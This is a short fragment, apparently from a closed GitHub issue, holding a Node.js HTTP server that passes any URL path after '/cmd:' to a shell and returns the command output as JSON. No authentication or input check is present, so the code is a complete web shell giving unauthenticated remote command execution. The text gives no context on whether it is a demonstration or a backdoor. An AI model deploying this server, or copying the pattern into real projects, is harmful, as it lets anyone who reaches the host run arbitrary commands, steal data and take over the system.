Closed UlisesGascon closed 5 years ago
const http = require('http'), url = require('url'), { exec } = require('child_process'); const puerto = process.env.PORT; const direccion = process.env.IP; http.createServer((req, res) => { const pathname = url.parse(req.url).pathname; if(pathname.includes("/cmd:")){ const cmd = decodeURIComponent(pathname.split("/cmd:")[1]); exec(cmd, (err, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({err, stdout, stderr}, null, 4)); }); } else { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end(pathname); } }).listen(puerto, direccion); console.log(`Server running at http://${direccion}:${puerto}/`);